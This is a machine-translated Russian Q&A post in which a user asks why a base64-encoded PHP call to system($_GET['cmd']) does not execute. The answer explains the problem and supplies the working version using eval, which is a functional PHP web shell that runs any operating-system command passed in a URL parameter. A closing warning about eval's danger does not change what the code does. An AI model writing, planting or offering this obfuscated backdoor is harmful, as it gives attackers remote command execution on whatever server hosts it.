Как запустить системную функцию внутри базы 64 функции декодирования

Question

Я пытаюсь тестовый скрипт

Я хочу, чтобы запустить системную функцию внутри функции декодирования base64

Но он не работает ни малейшего представления!

<?php base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSkg") 
?> 

localhost/test.php?cmd=id

Answer 1

base64_decode функция PHP получает строку (которая кодируется в base64) и декодировать его обратно к исходным данным. Функция возвращает декодированные данные в виде строки, которая означает, что ваш код на самом деле выглядит как:

<?php "system($_GET['cmd']) " 
?> 

(Выполнение этого кода не имеет смысла).

Если вы хотите PHP для «запуска» (или оценивать) строку, которую вы Juse декодированного - вы должны использовать eval язык построения РНР:

<?php eval("system($_GET['cmd']);"); 
?> 

Обратите внимание на ; добавил в конце строки (внутри вызова eval).

Очень важно

Обратите внимание, что использование Eval очень опасно, потому что она позволяет выполнение произвольного кода.
Вы должны действительно НЕ использовать это, если вы не ДЕЙСТВИТЕЛЬНО знаете, что вы делаете.